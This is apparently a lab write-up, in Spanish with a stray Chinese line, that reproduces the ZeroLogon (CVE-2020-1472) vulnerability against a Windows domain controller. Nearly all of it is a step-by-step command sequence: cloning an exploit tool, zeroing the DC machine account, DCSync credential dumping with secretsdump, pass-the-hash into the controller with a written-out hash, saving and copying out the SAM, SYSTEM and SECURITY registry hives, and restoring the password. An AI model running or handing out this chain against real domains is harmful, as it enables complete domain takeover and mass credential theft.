
cve-2020-1472 reproducción, explotación y su exp
Reproducción de esta vulnerabilidad en un entorno de dominio Windows desde macOS mediante el proxy proxychains.
DC (controlador de dominio principal):

Usuario de dominio (host miembro del dominio):
Configura un proxy SOCKS5 directo mediante gost.

Atacante (máquina de ataque):
Configurar proxychains4
vim /Users/xq17/.proxychains/proxychains.conf
Añadir a la lista ProxyList
[ProxyList] socks5 10.211.55.42 8099
Herramientas de ataque (herramientas de explotación):
1.git clone https://github.com/mstxq17/cve-2020-1472.git
2.pip3 install -r requirements.txt
Si al ejecutar aparece este error:

Indica que el módulo impacket tiene un problema. Intenta desinstalar el módulo impacket e instalar la última versión desde GitHub.
git clone https://github.com/SecureAuthCorp/impacket.git
cd impacket && pip3 install .
Con ello, el problema queda resuelto.
Herramienta en versión C#: https://github.com/nccgroup/nccfsas/tree/main/Tools/SharpZeroLogon
Primero, utiliza la contraseña del controlador de dominio en local para exportar el hash de la cuenta de máquina del dominio, de modo que puedas compararlo después con el valor modificado.
proxychains4 secretsdump.py test.local/Administrator:'123QWEqwe!@#'@10.211.55.38 -just-dc-user "DC$"
或者去掉双引号,但是要注意在linux下$代表是变量的意思记得转义。
proxychains4 secretsdump.py test.local/Administrator:'123QWEqwe!@#'@10.211.55.38 -just-dc-user DC\$

Usa zerologon_tester.py para verificar si existe la vulnerabilidad.
python3 zerologon_tester.py DC 10.211.55.38

Si devuelve Success, significa que la vulnerabilidad existe.
Usa cve-2020-1472-exploit.py para restablecer la cuenta de máquina.
python3 cve-2020-1472-exploit.py dc$ 10.211.55.38


La cuenta de máquina del controlador de dominio puede usar DCSync para exportar las credenciales de todos los usuarios del dominio.
Principio:
Se utiliza el protocolo DRS (Directory Replication Service, Servicio de replicación de directorio) para copiar las credenciales de los usuarios desde el controlador de dominio mediante IDL_DRSGetNCChanges.
proxychains4 secretsdump.py test.local/dc\[email protected] -no-pass

Restaurar la contraseña de la cuenta de máquina DC$. Mediante
proxychains4 secretsdump.py test.local/dc\[email protected] -no-pass -just-dc | grep 'Administrator'
se obtiene el hash del administrador del dominio.


A continuación, mediante wmic y pass the hash, obtén el privilegio de administrador local (administrador del dominio) en el controlador de dominio.
wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:8adfc85c3490040e942ae1e6c68f645e test.local/[email protected]
A continuación, ejecuta los siguientes comandos para copiar la base de datos SAM del equipo local a la máquina macOS:
En un entorno de un solo dominio:
Puede ejecutarse perfectamente. Tras reiniciar el controlador de dominio, no hay ninguna anomalía, pero el DNS de las máquinas miembro del dominio presentará problemas; no afecta a la autenticación.

Después de restaurar la contraseña:

Entorno de dos dominios, con un controlador de dominio principal (DC) y un controlador de dominio de respaldo (DC01):

Al obtener inicialmente los hashes de las cuentas de máquina de los dos controladores de dominio, se descubrió que los dos no eran iguales.

Se intentó atacar el dominio secundario y se comprobó que no afectaba al dominio principal; también se observó que los datos de ntdis.dist se sincronizaban.

También se intentó atacar el dominio principal; net time /domain también daba errores, al igual que en el entorno de un solo dominio, pero tras reparar la contraseña se recuperó al instante.
Las cuentas recién creadas se sincronizan directamente.

Modificar la contraseña tampoco afecta a la sincronización.
Personalmente, hasta ahora no he encontrado ningún problema de desvinculación del dominio. Recomiendo seguir este flujo una vez; si tienes algún problema, ¡no dudes en hablar conmigo!
- reg save HKLM\SYSTEM system.save
- reg save HKLM\SAM sam.save
- reg save HKLM\SECURITY security.save
- get system.save
- get sam.save
- get security.save
- del /f system.save
- del /f sam.save
- del /f security.save

secretsdump.py -sam sam.save -system system.save -security security.save LOCAL
Extrae el hex en texto plano de la cuenta de máquina.

Por último, ejecuta:
proxychains4 python3 restorepassword.py DC@DC -target-ip 10.211.55.38 -hexpass 87e2812ccea41210c80e298c9e2a43a249d6a4056027787774340fbfd4b5f969563803b0f1bae7ccd24b29b41ae611025f1952793562d73e7f4e0f8938b3361332b35dd5ee22785b79b922149db32dc5c9301f4fd9fd090f532575bf5197a9c9230955bfd96ab928ae66b3999730c75b8545e26770816f21f2dbf9dbb19432211a91224c4c618507f7091ae09435a13a04bad5f056e72d34a96f67fa33d50e7596eca7709f398d98ba9e07407d7b2e4b937e40d1bf5ff0eb2240bdf0e8287e26ea5f8e69219fa7b1c5aa0e0bd8b992a176c32b0efb914fa6c1e53d69179110b02dfc1b1a0e53b445b92588420af18960

Se puede ver que la información se ha restaurado por completo.